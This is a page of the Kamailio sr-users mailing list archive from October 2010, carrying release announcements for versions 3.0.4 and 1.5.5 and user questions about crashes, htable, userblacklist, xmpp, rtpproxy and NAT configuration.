- sr-users - kamailio.org

Kamailio v3.0.4 Released
by Daniel-Constantin Mierla 20 Oct '10

20 Oct '10

Hello, Kamailio (OpenSER) v3.0.4 is released. This is a maintenance release of previous stable branch, 3.0.x, that includes fixes since release of v3.0.3. There is no change to database or configuration file required to upgrade to 3.0.4 from any 3.0.x version. For more details about version 3.0.4, visit: http://www.kamailio.org/w/2010/10/kamailio-v3-0-4-released/ Cheers, Daniel -- Daniel-Constantin Mierla http://www.asipto.com

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Kamailio v1.5.5 Released
by Daniel-Constantin Mierla 20 Oct '10

20 Oct '10

Hello, Kamailio (OpenSER) version 1.5.5 is released. This is a maintenance release of branch 1.5, the last in its series. The project is officially maintaining the latest two stable branches, these being now 3.0.x and 3.1.x. As it happened in the past, fixes can still get into SVN branch 1.5, but there is no plan to package another version 1.5.x. If you still run 1.5.x, it is highly recommended that you start to plan the migration to 3.x versions. For more details about version 1.5.5, visit: http://www.kamailio.org/w/2010/10/kamailio-v1-5-5-released/ Cheers, Daniel -- Daniel-Constantin Mierla http://www.asipto.com

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Crash on processing dialog BYE
by Alex Balashov 20 Oct '10

20 Oct '10

We had another one of these today, under high call volume: (gdb) where #0 0x0000003a60430265 in raise () from /lib64/libc.so.6 #1 0x0000003a60431d10 in abort () from /lib64/libc.so.6 #2 0x0000000000530a91 in qm_free (qm=0x2b343e1aa000, p=0x2b343eddf6e8, file=0x2b343dd860c3 "dialog: dlg_hash.c", func=0x2b343dd86b42 "destroy_dlg", line=176) at mem/q_malloc.c:447 #3 0x00002b343dd6a2ea in destroy_dlg (dlg=0x2b343fe1d6f8) at dlg_hash.c:176 #4 0x00002b343dd6d33a in unref_dlg (dlg=0x2b343fe1d6f8, cnt=1) at dlg_hash.c:591 #5 0x00002b343dd73a04 in profile_cleanup (msg=<value optimized out>, flags=<value optimized out>, param=0x6) at dlg_profile.c:317 #6 0x00000000004be9a1 in exec_post_script_cb (msg=0xa06e80, type=<value optimized out>) at script_cb.c:195 #7 0x00000000004989f0 in receive_msg ( buf=0x8b6300 "BYE sip:15746317356@yyy.yyy.yyy.yyy:5060 SIP/2.0\r\nRecord-Route: <sip:yyy.yyy.yyy.yyy;lr;ftag=gK0ebaf6d4>\r\nRecord-Route: <sip:67.231.8.89;lr;ftag=gK0ebaf6d4>\r\nVia: SIP/2.0/UDP xxx.xxx.xxx.xxx;branch=z9hG4bKd757."..., len=<value optimized out>, rcv_info=0x7fff4a043230) at receive.c:221 #8 0x000000000052576a in udp_rcv_loop () at udp_server.c:532 #9 0x0000000000468dcd in main_loop () at main.c:1554 #10 0x000000000046be9f in main (argc=<value optimized out>, argv=0x7fff4a043508) at main.c:2398 Is this a regression, or memory corruption from something else? This is with CANCEL_REASON_SUPPORT #undef'd in tm_reply.h, btw. -- Alex Balashov - Principal Evariste Systems LLC 1170 Peachtree Street 12th Floor, Suite 1200 Atlanta, GA 30309 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/

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pdb_query dstavp argument
by Juha Heinanen 20 Oct '10

20 Oct '10

why dstavp argument of pdb_query() needs to be an avp? why a var is not accepted? -- juha

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kamailio 1.5.5 and 3.0.4
by Daniel-Constantin Mierla 20 Oct '10

20 Oct '10

Hello, Based on our project policy to support officially the last two stable branches, I was thinking of packaging kamailio 1.5.5 to mark its end. New fixes will go to svn if it is the case, but no new release in 1.5.x series will be done. Also, since testing for 3.1.0 brought some fixes to 3.0.x, we should do as well 3.0.4. My proposal is next week, Wednesday, Oct 20. Don't forget to report issues you are aware for these two branches. Cheers, Daniel -- Daniel-Constantin Mierla http://www.asipto.com

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check_user_black_list error
by Bruno Machado 20 Oct '10

20 Oct '10

Hi I'm using version 1.5.4 and the module userblacklist is not working how I was expecting. The function check_user_black_list() returns the correct value. After some 5 minutes, it changes its return value. I'm blocking users that are not in the table. However, after this time, the functions says that they exist, but it is not true. Someone know why it happens? Could it be a module's bug? #avp 100 is a part of the username's RURI if(check_user_blacklist("$fU","$rd","$avp(s:100)")) { sl_send_reply("403", "Forbidden"); exit; } Tks, bruno machado

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space in Allow field of location table causes failure in dbtext reload - v 3.0.0
by Jeremya 20 Oct '10

20 Oct '10

Hi, I have an application that uses dbtext. Starting with an empty location table I have a client register with kamailio. When kamailio is shut down the location records are written. When kamailio starts again it fails when reading the location value. The client does not provide an Allow: header. Field 16 in the location table is a parsed version of the Allow: header. When kamailio shuts down it writes a space ' ' for the value of field 16. This then causes the re-read to fail. Removing the space makes it all work again. I'd like to report this as a bug - and/or - even better - to get a quick patch to sort the problem. Is this the right place to report? Or is there an official form? Thanks Jeremy

2 1

set cfg variables via sercmd
by Morten Isaksen 19 Oct '10

19 Oct '10

Kamailio 3.0.3. I am trying to change a variable (in the cfg variable framwork) from sercmd, but I get an error [root@sip-core-1 ~]# sercmd cfg.set_now_int recording enabled 1 error: 500 - command cfg.set_now_int not found I have installed readline and ncurses which seems to be needed by looking at sercmd.c. Any ideas what I am missing? -- Morten Isaksen

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Fwd: Tutorial: SIP SIMPLE Presence Made Simple with Kamailio 3.1
by Rouskol Andrey 19 Oct '10

19 Oct '10

Daniel, What whould you think about this variant of xcap authentication: event_route[xhttp:request] { xdbg("===== xhttp: request [$rv] $rm => $hu\n"); if($hu=~"^/xcap-root/") { # xcap ops $xcapuri(u=>data) = $hu; if($xcapuri(u=>xuid)=~"^sip:.+@.+") $var(uri) = $xcapuri(u=>xuid); else if($xcapuri(u=>xuid)=~".+@.+") $var(uri) = "sip:"+ $xcapuri(u=>xuid); else $var(uri) = "sip:"+ $xcapuri(u=>xuid) + "@" + $Ri; if($xcapuri(u=>auid)=="xcap-caps") { ... skipped ... } #!ifdef WITH_XHTTPAUTH #!ifdef WITH_MULTIDOMAIN if (!www_authorize("$(var(uri){uri.host})", "subscriber")) { www_challenge("$(var(uri){uri.host})", "0"); #!else if (!www_authorize("xcap", "subscriber")) { www_challenge("xcap", "0"); #!endif exit; } set_reply_close(); set_reply_no_connect(); #!ifdef WITH_XHTTPAUTH # be sure auth user access only its documents #!ifdef WITH_MULTIDOMAIN if($aU=~".+@.+") $var(tmp) = "sip:"+$aU; else $var(tmp) = "sip:"+$aU+"@"+$(var(uri){uri.host}); if ($var(uri)!=$var(tmp)) { xdbg("===== xhttp: Forbidden!!! $var(tmp) - $var(uri)\n"); #!else if ($au!=$(var(uri){uri.user})) { xdbg("===== xhttp: Forbidden!!! $au - $(var(uri){uri.user})\n"); #!endif .. Regards, Andrey.

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Get registration information of a specific subscriber in script
by Adieu 19 Oct '10

19 Oct '10

Hello everybody, I just started to use kamailio. For the basic functions, I can get them working properly. But when I started to write my own script, I encountered some problem. The scenario is like this: I have a linksys spa3102 pstn-voip gateway at home which register itself at my server on the internet. I use adsl at home so the ip address change dynamically. When I want to route all my pstn calls to spa3102, I have to figure out the current ip address of my home connection. I tried to use dynamic dns, but my router does not update the ip address sometimes. So I was thinking about solving this problem in the kamailio configuration script. All I need is to get the registration information of spa3102 so that I can route my pstn call to it. I guess there might be a function doing this work. It expect a subscriber name as a variable and returns the registration information of the subscriber. I tried to dig the function out of kamailio documents but failed. And google doesn't seem to provide much help. I don't know if this function exist or not. Could someone confirm my guess or point out where I can find it? I will be much appreciated. //bow Adieu

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#!endif and SUBSCRIBE issues 3.0.x
by Jeremya 19 Oct '10

19 Oct '10

I've discovered - after quite a while - that #!endif doesn't work if there is extra text on the line #!endif works #!endif # someblock doesn't work. Could this be addressed in code or at least noted in documentation? I also have the case of SUBSCRIBE where it is a later (re)SUBSCRIBE after an initial SUBSCRIBE. This has a to-tag. This is not handled by the default script. Could the default script be altered to handle SUBSCRIBE with to-tag please? Thanks Jeremy

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Fwd: perl_exec() using parameter?
by "Nicolas Rüger" 19 Oct '10

19 Oct '10

Hello, any ideas for parameter passing to perl-scripts are appreciated!!! Regards, Nicolas -------- original-------- Hello, is there any chance to pass parameters (like from_uri or to_uri) from the kamailio routing logic to a perl script? I know that the whole sip message is provided as parameter but I wonder if there's a way to pass just the caller's uri (from tag) or the callee's uri (to tag) as a second parameter to the perl script. By using xlog it's clear that in $fu and $ru one can find the uri's. xlog("from: $fu to: $ru \n") OUTPUT: "from: sip:user01@mykamailio.de to:user02@mykamailio.de" BUT using these variables as a second parameter in perl_exec() leads to an error on kamailio start-up cause of bad config file. perl_exec("my_perl_script",$fu); Any suggestions or ideas??? Thank you... Regards, Nicolas -- GRATIS! Movie-FLAT mit über 300 Videos. Jetzt freischalten unter http://portal.gmx.net/de/go/maxdome

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SER+nathelper+RTPproxy
by Medina Curafina 18 Oct '10

18 Oct '10

Dear Sirs, I am writing to you, 'cause I have some issues about SER work. I installed ser-0.9.4, and test it in my local network, and everything works fine with hello_world.cfg. After that I had different situation. I wanted to make a call from one of my local hosts to remote host (which I registered to your SERWeb in format "username"@iptel.org). Of course I changed my ser.cfg file from hello_world.cfg into example.cfg (which one I send you in Attachment, grey parts are changed lines, because I need to show work of nathelper module of SER). I Installed RTP Proxy from CVS, and followed basic instructions. so, in my local network I am host 102(a)192.168.1.103 (x-Lite4) my domain is default one* (localhost)*, my NAT box is Cisco Lynksis Router. When I make a call (host 102-->SER-->NAT translation-->SERWeb(213.192.59.75)--->external IP of my friends PC), I can reach him (He can hear a phone call, but when he answers can't hear me, and I still get ringing tone, and after 7 second it looks like he canceled a call). In Wireshark I captured INVITE, 100, 180,200, and 487 "Request Terminated" messages. In section of VOIP Calls Graph, I see that messages didn't pass further off SERWeb. I am just beginner in SER use, and I really need your help. I really tried to understand what to do, I get through documentation about RTP Proxy and I feel that I make some mistakes in that part. I was passing through this for so long time, and I don't have anybody to ask for help except you. Do I need to configure my Router, fix configuration of host, configuration file, or something about RTP proxy. Hope hearing from you soon, Very Grateful, Medina H.

1 1

SER nathelper+RTPproxy
by Medina Curafina 18 Oct '10

18 Oct '10

I am writing to you, 'cause I have some issues about SER work. I installed ser-0.9.4, and test it in my local network, and everything works fine with hello_world.cfg. After that I had different situation. I wanted to make a call from one of my local hosts to remote host (which I registered to SERWeb in format "username"@iptel.org). Of course I changed my ser.cfg file from hello_world.cfg into example.cfg (which one I send you in Attachment, grey parts are changed lines, because I need to show work of nathelper module of SER). I Installed RTP Proxy from CVS, and followed basic instructions. so, in my local network I am host host(a)192.168.x.x <102(a)192.168.x.x.> (x-Lite4) my domain is default one* (localhost)*, my NAT box is Cisco Lynksis Router. When I make a call (host 102-->SER-->NAT translation-->SERWeb(213.192.59.75)--->external IP of my friends PC), I can reach him (He can hear a ringing tone, but when he answers can't hear me, and I still get ringing tone, and after 7 second it looks like he canceled a call). In Wireshark I captured INVITE, 100, 180,200, and 487 "Request Terminated" messages. In section of VOIP Calls Graph, I see that messages didn't pass further off SERWeb. I am just beginner in SER use, and I really need your help. I really tried to understand what to do, I get through documentation about RTP Proxy and I feel that I make some mistakes in that part. Is there anyone who can give me advice what I should do, and where am I wrong? Hope hearing from you soon, Very Grateful, Medy H.

1 0

Kamailio as IPv6 to IPv4 Gateway
by Joe Uelk 18 Oct '10

18 Oct '10

Hello all, I'm looking to implement the following scenario: Step 1 SIP Server A sends INVITE to port 5060 over IPv6 to Kamailio: 2001::1 --udp/tcp--> 2001::2:5060 Step 2 Kamailio SIP NATs the INVITE and sends it out IPv4 to SIP Server B on port 6000 1.1.1.1 --udp/tcp--> 1.1.1.2:6000 Step 3 All SIP Server B responses within this SIP dialog are sent back to SIP Server A along the same path. There is more to this but I want to accomplish this first and go from there. Can someone point me toward a resource on how to get this created? Do I need to use the WITH_NAT function in kamailio.cfg? Thanks! Joe

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SIP Ping utility with kamailio
by JR Richardson 16 Oct '10

16 Oct '10

Hi All, Can someone point me in the right direction of a command line SIP Ping utility or how to invoke from Kamailio? I see there is a sip_ping.pl script in voip-hacks, does anyone have copy-paste text version of that, all I can find is the PDF? Thanks. JR -- JR Richardson Engineering for the Masses

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call for assistance
by Meftah Tayeb 16 Oct '10

16 Oct '10

hi folk, could you join irc irc.freenode.net #switchfin to start porting SR to BF? not exactly porting but integrating if you get there we will organise a conf call hosted by me i could provide SIP and evean PSTN access thank you -- Meftah Tayeb inum: +883510001288000 mobile: +213660347746

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how can string "0" be equal to int 0?
by Juha Heinanen 15 Oct '10

15 Oct '10

i have stored in htable a key_value=0 with key_type=1, i.e., string. then i have this piece of test code: if (defined($sht(htable=>$var(carrier_key)::id))) { xlog("L_INFO", "$sht(htable=>$var(carrier_key)::id) is defined\n"); } else { xlog("L_INFO", "$sht(htable=>$var(carrier_key)::id) is NOT defined\n"); }; $var(carrier_id) = $sht(htable=>$var(carrier_key)::id); if ($var(carrier_id) == (int)0) { xlog("L_INFO", "$sht(htable=>$var(carrier_key)::id) is not found\n"); } else { xlog("L_INFO", "$sht(htable=>$var(carrier_key)::id) is found\n"); }; and when the piece is executed, this is printed to syslog: Oct 15 12:20:33 squeeze /usr/sbin/trunk-proxy[2915]: INFO: 0 is defined Oct 15 12:20:33 squeeze /usr/sbin/trunk-proxy[2915]: INFO: 0 is not found i understand the first line, because the entry is in the htable, but how is it possible that string "0" is equal to int 0? -- juha

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upgrade from 3.0 to 3.1
by Anders 15 Oct '10

15 Oct '10

Hi, Sorry about the low-level question, but... - how do I upgrade from Kamailio 3.0 to 3.1? I used git for installing 3.0 (this great guide: http://www.kamailio.org/dokuwiki/doku.php/install:kamailio-3.0.x-from-git) - but do I need to remove 3.0 and then install 3.1? Thanks, Anders

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Re: [SR-Users] rtp proxy - where to invoke?
by Anders 15 Oct '10

15 Oct '10

Sorry, I didn't understand that. Is it good or bad that it is asymmetrical? And if not, what should it be? As far as I understand from my config, it first checks if NAT is set, and if so, it goes to force_rtp_proxy if it's INVITE and unforce_rtp_proxy if it's a BYE. Is that not correct? > On Wed, Oct 13, 2010 at 1:51 PM, Alex Balashov > <abalashov(a)evaristesys.com> wrote: >> This suggests asymmetrical invocation of rtpproxy, for example in 200 OK but >> not corresponding INVITE. >> >> -- >> Alex Balashov - Principal >> Evariste Systems LLC >> 1170 Peachtree Street >> 12th Floor, Suite 1200 >> Atlanta, GA 30309 >> Tel: +1-678-954-0670 >> Fax: +1-404-961-1892 >> Web: http://www.evaristesys.com/ >> >> On Oct 13, 2010, at 1:33 PM, Anders <vaerge(a)gmail.com> wrote: >> >>> Hi, >>> >>> I'm trying to get the RTP proxy to work with Kamailio (1.5), but right >>> now I am getting this error here: >>> >>> Oct 13 16:54:44 vn1031 /usr/local/sbin/kamailio[13622]: >>> ERROR:nathelper:force_rtp_proxy: incorrect port 0 in reply from rtp >>> proxy >>> >>> There is probably something wrong in my cfg - for the use of >>> force_rtp_proxy that part of my config is here below. See anything odd >>> that could lead to the error above? >>> >>> route { >>> ...... >>> route(4); >>> ...... >>> } >>> >>> route[4]{ >>> force_rport(); >>> if (nat_uac_test("19")) { >>> if (method=="REGISTER") { >>> fix_nated_register(); >>> } else { >>> fix_nated_contact(); >>> } >>> setflag(5); >>> } >>> return; >>> } >>> >>> route[5] { >>> if (is_method("BYE")) { >>> unforce_rtp_proxy(); >>> } else if (is_method("INVITE")){ >>> force_rtp_proxy(); >>> } >>> if (!has_totag()) add_rr_param(";nat=yes"); >>> return; >>> } >>> >>> onreply_route[1] { >>> xdbg("incoming reply\n"); >>> >>> if (!(status =~ "183" || status =~ "200")) >>> exit; >>> #fix_nated_contact(); >>> force_rtp_proxy(); >>> } >>> >>> _______________________________________________ >>> SIP Express Router (SER) and Kamailio (OpenSER) - sr-users mailing list >>> sr-users(a)lists.sip-router.org >>> http://lists.sip-router.org/cgi-bin/mailman/listinfo/sr-users >> >

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getting unexpected values from htable
by Javier Gallart 15 Oct '10

15 Oct '10

Hi all I'm testing the htable module at Kamailio 3.1. Currently it's an extremely simple table with a single row loaded from a postgres DB. These are the relevant lines in the configuration file: modparam("htable", "db_url", "postgres://user:password@localhost :5432/database") modparam("htable", "htable", "a=>size=2;autoexpire=0;dbtable=h_table;") modparam("htable", "key_name_column", "key_name") modparam("htable", "key_type_column", "key_type") modparam("htable", "value_type_column", "value_type") modparam("htable", "key_value_column", "key_value") The only line in the table is: key_name | key_value | key_type | value_type ----------+-----------+----------+------------ 5 | 1 | 1 | 0 However, sht_print() shows this: 0(8570) ERROR: htable [ht_api.c:488]: ===== htable[a] hid: 109 exp: 0> 0(8570) ERROR: htable [ht_api.c:492]: htable[0] -- <0> 0(8570) ERROR: htable [ht_api.c:492]: htable[1] -- <0> 0(8570) ERROR: htable [ht_api.c:492]: htable[2] -- <0> 0(8570) ERROR: htable [ht_api.c:492]: htable[3] -- <1> 0(8570) ERROR: htable [ht_api.c:496]: cell: 5 0(8570) ERROR: htable [ht_api.c:498]: hid: 51 msize: 74 flags: 0 expire: 0 0(8570) ERROR: htable [ht_api.c:502]: v-i:9585128 Any idea of what might be happening? Thanks in advance.

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Best of new in Kamailio 3.1
by Daniel-Constantin Mierla 15 Oct '10

15 Oct '10

Hello, some time ago I started a blog post series to reveal in more details some of the cool new features in version 3.1.0. Not finished yet, but has quite some posts so far, you can see the ToC at: http://bit.ly/c5jjzu Hope is useful for some of you, Daniel -- Daniel-Constantin Mierla http://www.asipto.com

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userblacklist error using characters
by "Nicolas Rüger" 15 Oct '10

15 Oct '10

Hello, HOW can I configure "userblacklist" module to accept the matching of characters as well??? I'm trying to use the "userblacklist" module with characters instead of numbers, so that I can even blacklist SIP-URIs like "user01(a)test.com". Unfortunately the "userblacklist" module or more specific "dtrie.c" returns the following error when I pass such a username: ERROR: <core> [dtrie.c:128]: cannot insert non-numerical character I checked in "dtrie.c" and found the following comment: "Its optimized towards the usecase of a matching tree that contains only digits, e.g.for LCR or blacklist modules. Nevertheless it also supports the matching of characters when configured correctly" So my question is: HOW can I configure "userblacklist" module to accept the matching of characters as well??? Thank you... Regards, Nicolas -- GMX DSL Doppel-Flat ab 19,99 €/mtl.! Jetzt auch mit gratis Notebook-Flat! http://portal.gmx.net/de/go/dsl

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Re: [SR-Users] Integrate xmpp module with kamailio 3.0.1
by Huy Nguyen 15 Oct '10

15 Oct '10

Hello Daniel, > If i use the different domain for kamailio and xmpp (e.g kamailio1.com and xmpp1.com, i'm testing in my local network). If from my xmpp client, e.g 109(a)xmpp1.com, i chat to sip client, e.g 101*kamailio1.com(a)xmpp1.com. >> you still have same domain - xmpp1.com - for both. Maybe i don't understand clearly what you say yet ! I think i used 2 domain: kamailio server have domain: kamailio1.com (101(a)kamailio1.com), xmpp server have domain: xmpp1.com (109(a)xmpp1.com). Login to xmpp client 109(a)xmpp1.com, how can i chat to the kamailio client 101(a)kamailio1.com ??? If I add to my buddy list is: 101*kamailio1.com(a)xmpp1.com --> xmpp1 server think it is a local user ! I need your idea about this testing scenario. I'm using the server mode when integrate xmpp to kamailio. Thanks in advanced, Huy Nguyen www.htk-inc.com Date: Fri, 15 Oct 2010 10:55:29 +0200 From: miconda(a)gmail.com To: huy_quocnguyen(a)live.com Subject: Re: [SR-Users] Integrate xmpp module with kamailio 3.0.1 On 10/15/10 10:52 AM, Huy Nguyen wrote: Hi Daniel and list, If i use the different domain for kamailio and xmpp (e.g kamailio1.com and xmpp1.com, i'm testing in my local network). If from my xmpp client, e.g 109(a)xmpp1.com, i chat to sip client, e.g 101*kamailio1.com(a)xmpp1.com. you still have same domain - xmpp1.com - for both. So when your xmpp client sends to server, the server looks at domain part and says it is my domain so i should have it in my location table. If it is another domain, xmpp2.com, then xmpp server will connect to xmpp2.com to send the message there. Cheers, Daniel I think it'll get the previous problem, because the xmpp server saw that the domain of the customer is xmpp1.com --> this is a user on its domain. How can xmpp server recognize that is the sip user from kamailio server and send the message to kamailio ? Have any wrong in my testing scenario ? Or we must change the order of sip buddy name: 101*xmpp1.com(a)kamailio1.com ? Thanks, Huy Nguyen www.htk-inc.com Date: Fri, 15 Oct 2010 10:31:28 +0200 From: miconda(a)gmail.com To: huy_quocnguyen(a)live.com CC: sr-users(a)lists.sip-router.org Subject: Re: [SR-Users] Integrate xmpp module with kamailio 3.0.1 Hello, it is the same domain you use for both xmpp and sip server? You have to use different ones, otherwise each server considers it is a local user and try to look it up in own location database. Cheers, Daniel On 10/15/10 7:27 AM, Huy Nguyen wrote: Hi, Thanks for your quickly support, but after recompile with the lastest git branch 3.0 version, I still meet the same problem. From my xmpp client, i chat to sip client (e.g 101*sip.htk.com(a)xmpp.htk.com), the xmpp server looking for its database and not found user 101*sip.htk.com. So, it show the error 503. I don't know why the xmpp server not send message to my sip server ? At the current time, can we use the server mode of xmpp module ? If yes, how can establish the connection between xmpp module (on kamailio server) and the xmpp server, if the xmpp module not running at port 5269 ? Thanks, Huy Nguyen www.htk-inc.com Date: Thu, 14 Oct 2010 19:57:57 +0200 From: miconda(a)gmail.com To: huy_quocnguyen(a)live.com CC: sr-users(a)lists.sip-router.org Subject: Re: [SR-Users] Integrate xmpp module with kamailio 3.0.1 Hello, take the latest git version from branch kamailio_3.0. There were some fixes to xmpp module after 3.0.1. Cheers, Daniel On 10/14/10 7:41 PM, Huy Nguyen wrote: Hi all, I'm trying to integrate xmpp module to kamailio 3.0.1. But i wondered about the server mode, if not use the local xmpp server, how to establish the s2s connection with the other xmpp server ? I think it must have the running port 5269 on two xmpp servers to setup the connection. Thanks, Huy Nguyen www.htk-inc.com _______________________________________________ SIP Express Router (SER) and Kamailio (OpenSER) - sr-users mailing list sr-users(a)lists.sip-router.org http://lists.sip-router.org/cgi-bin/mailman/listinfo/sr-users -- Daniel-Constantin Mierla http://www.asipto.com _______________________________________________ SIP Express Router (SER) and Kamailio (OpenSER) - sr-users mailing list sr-users(a)lists.sip-router.org http://lists.sip-router.org/cgi-bin/mailman/listinfo/sr-users -- Daniel-Constantin Mierla http://www.asipto.com -- Daniel-Constantin Mierla http://www.asipto.com

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Re: [SR-Users] Integrate xmpp module with kamailio 3.0.1
by Daniel-Constantin Mierla 15 Oct '10

15 Oct '10

... reply all didn't work first time ... On 10/15/10 10:52 AM, Huy Nguyen wrote: > Hi Daniel and list, > > If i use the different domain for kamailio and xmpp (e.g kamailio1.com > and xmpp1.com, i'm testing in my local network). If from my xmpp > client, e.g 109(a)xmpp1.com, i chat to sip client, e.g > 101*kamailio1.com(a)xmpp1.com. you still have same domain - xmpp1.com - for both. So when your xmpp client sends to server, the server looks at domain part and says it is my domain so i should have it in my location table. If it is another domain, xmpp2.com, then xmpp server will connect to xmpp2.com to send the message there. Cheers, Daniel > I think it'll get the previous problem, because the xmpp server saw > that the domain of the customer is xmpp1.com --> this is a user on its > domain. How can xmpp server recognize that is the sip user from > kamailio server and send the message to kamailio ? > > Have any wrong in my testing scenario ? Or we must change the order of > sip buddy name: 101*xmpp1.com(a)kamailio1.com ? > > Thanks, > Huy Nguyen > > * > > * > ------------------------------------------------------------------------ > ------------------------------------------------------------------------ > www.htk-inc.com <http://www.htk-inc.com/> > > > > > > > ------------------------------------------------------------------------ > Date: Fri, 15 Oct 2010 10:31:28 +0200 > From: miconda(a)gmail.com > To: huy_quocnguyen(a)live.com > CC: sr-users(a)lists.sip-router.org > Subject: Re: [SR-Users] Integrate xmpp module with kamailio 3.0.1 > > Hello, > > it is the same domain you use for both xmpp and sip server? You have > to use different ones, otherwise each server considers it is a local > user and try to look it up in own location database. > > Cheers, > Daniel > > On 10/15/10 7:27 AM, Huy Nguyen wrote: > > Hi, > > Thanks for your quickly support, but after recompile with the > lastest git branch 3.0 version, I still meet the same problem. > > From my xmpp client, i chat to sip client (e.g > 101*sip.htk.com(a)xmpp.htk.com > <mailto:101*sip.htk.com@xmpp.htk.com>), the xmpp server looking > for its database and not found user 101*sip.htk.com. So, it show > the error 503. > > I don't know why the xmpp server not send message to my sip > server ? At the current time, can we use the server mode of xmpp > module ? If yes, how can establish the connection between xmpp > module (on kamailio server) and the xmpp server, if the xmpp > module not running at port 5269 ? > > Thanks, > Huy Nguyen > > * > > * > ------------------------------------------------------------------------ > ------------------------------------------------------------------------ > www.htk-inc.com <http://www.htk-inc.com/> > > > > > > > > ------------------------------------------------------------------------ > Date: Thu, 14 Oct 2010 19:57:57 +0200 > From: miconda(a)gmail.com <mailto:miconda@gmail.com> > To: huy_quocnguyen(a)live.com <mailto:huy_quocnguyen@live.com> > CC: sr-users(a)lists.sip-router.org > <mailto:sr-users@lists.sip-router.org> > Subject: Re: [SR-Users] Integrate xmpp module with kamailio 3.0.1 > > Hello, > > take the latest git version from branch kamailio_3.0. There were > some fixes to xmpp module after 3.0.1. > > Cheers, > Daniel > > On 10/14/10 7:41 PM, Huy Nguyen wrote: > > Hi all, > > I'm trying to integrate xmpp module to kamailio 3.0.1. > > But i wondered about the server mode, if not use the local > xmpp server, how to establish the s2s connection with the > other xmpp server ? I think it must have the running port 5269 > on two xmpp servers to setup the connection. > > Thanks, > Huy Nguyen > > * > > * > ------------------------------------------------------------------------ > ------------------------------------------------------------------------ > www.htk-inc.com <http://www.htk-inc.com/> > > > > > > > _______________________________________________ > SIP Express Router (SER) and Kamailio (OpenSER) - sr-users mailing list > sr-users(a)lists.sip-router.org <mailto:sr-users@lists.sip-router.org> > http://lists.sip-router.org/cgi-bin/mailman/listinfo/sr-users > > > -- > Daniel-Constantin Mierla > http://www.asipto.com > > > _______________________________________________ > SIP Express Router (SER) and Kamailio (OpenSER) - sr-users mailing list > sr-users(a)lists.sip-router.org <mailto:sr-users@lists.sip-router.org> > http://lists.sip-router.org/cgi-bin/mailman/listinfo/sr-users > > > -- > Daniel-Constantin Mierla > http://www.asipto.com -- Daniel-Constantin Mierla http://www.asipto.com

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how can string "0" be equal to int 0?
by Juha Heinanen 15 Oct '10

15 Oct '10

i have stored in htable a key_value=0 with key_type=1, i.e., string. then i have this piece of test code: if (defined($sht(htable=>$var(carrier_key)::id))) { xlog("L_INFO", "$sht(htable=>$var(carrier_key)::id) is defined\n"); } else { xlog("L_INFO", "$sht(htable=>$var(carrier_key)::id) is NOT defined\n"); }; $var(carrier_id) = $sht(htable=>$var(carrier_key)::id); if ($var(carrier_id) == (int)0) { xlog("L_INFO", "$sht(htable=>$var(carrier_key)::id) is not found\n"); } else { xlog("L_INFO", "$sht(htable=>$var(carrier_key)::id) is found\n"); }; and when the piece is executed, this is printed to syslog: Oct 15 12:20:33 squeeze /usr/sbin/trunk-proxy[2915]: INFO: 0 is defined Oct 15 12:20:33 squeeze /usr/sbin/trunk-proxy[2915]: INFO: 0 is not found i understand the first line, because the entry is in the htable, but how is it possible that string "0" is equal to int 0? -- juha

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Re: [SR-Users] Integrate xmpp module with kamailio 3.0.1
by Huy Nguyen 15 Oct '10

15 Oct '10

Hi Daniel and list, If i use the different domain for kamailio and xmpp (e.g kamailio1.com and xmpp1.com, i'm testing in my local network). If from my xmpp client, e.g 109(a)xmpp1.com, i chat to sip client, e.g 101*kamailio1.com(a)xmpp1.com. I think it'll get the previous problem, because the xmpp server saw that the domain of the customer is xmpp1.com --> this is a user on its domain. How can xmpp server recognize that is the sip user from kamailio server and send the message to kamailio ? Have any wrong in my testing scenario ? Or we must change the order of sip buddy name: 101*xmpp1.com(a)kamailio1.com ? Thanks, Huy Nguyen www.htk-inc.com Date: Fri, 15 Oct 2010 10:31:28 +0200 From: miconda(a)gmail.com To: huy_quocnguyen(a)live.com CC: sr-users(a)lists.sip-router.org Subject: Re: [SR-Users] Integrate xmpp module with kamailio 3.0.1 Hello, it is the same domain you use for both xmpp and sip server? You have to use different ones, otherwise each server considers it is a local user and try to look it up in own location database. Cheers, Daniel On 10/15/10 7:27 AM, Huy Nguyen wrote: Hi, Thanks for your quickly support, but after recompile with the lastest git branch 3.0 version, I still meet the same problem. From my xmpp client, i chat to sip client (e.g 101*sip.htk.com(a)xmpp.htk.com), the xmpp server looking for its database and not found user 101*sip.htk.com. So, it show the error 503. I don't know why the xmpp server not send message to my sip server ? At the current time, can we use the server mode of xmpp module ? If yes, how can establish the connection between xmpp module (on kamailio server) and the xmpp server, if the xmpp module not running at port 5269 ? Thanks, Huy Nguyen www.htk-inc.com Date: Thu, 14 Oct 2010 19:57:57 +0200 From: miconda(a)gmail.com To: huy_quocnguyen(a)live.com CC: sr-users(a)lists.sip-router.org Subject: Re: [SR-Users] Integrate xmpp module with kamailio 3.0.1 Hello, take the latest git version from branch kamailio_3.0. There were some fixes to xmpp module after 3.0.1. Cheers, Daniel On 10/14/10 7:41 PM, Huy Nguyen wrote: Hi all, I'm trying to integrate xmpp module to kamailio 3.0.1. But i wondered about the server mode, if not use the local xmpp server, how to establish the s2s connection with the other xmpp server ? I think it must have the running port 5269 on two xmpp servers to setup the connection. Thanks, Huy Nguyen www.htk-inc.com _______________________________________________ SIP Express Router (SER) and Kamailio (OpenSER) - sr-users mailing list sr-users(a)lists.sip-router.org http://lists.sip-router.org/cgi-bin/mailman/listinfo/sr-users -- Daniel-Constantin Mierla http://www.asipto.com _______________________________________________ SIP Express Router (SER) and Kamailio (OpenSER) - sr-users mailing list sr-users(a)lists.sip-router.org http://lists.sip-router.org/cgi-bin/mailman/listinfo/sr-users -- Daniel-Constantin Mierla http://www.asipto.com

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Re: [SR-Users] Integrate xmpp module with kamailio 3.0.1
by Huy Nguyen 15 Oct '10

15 Oct '10

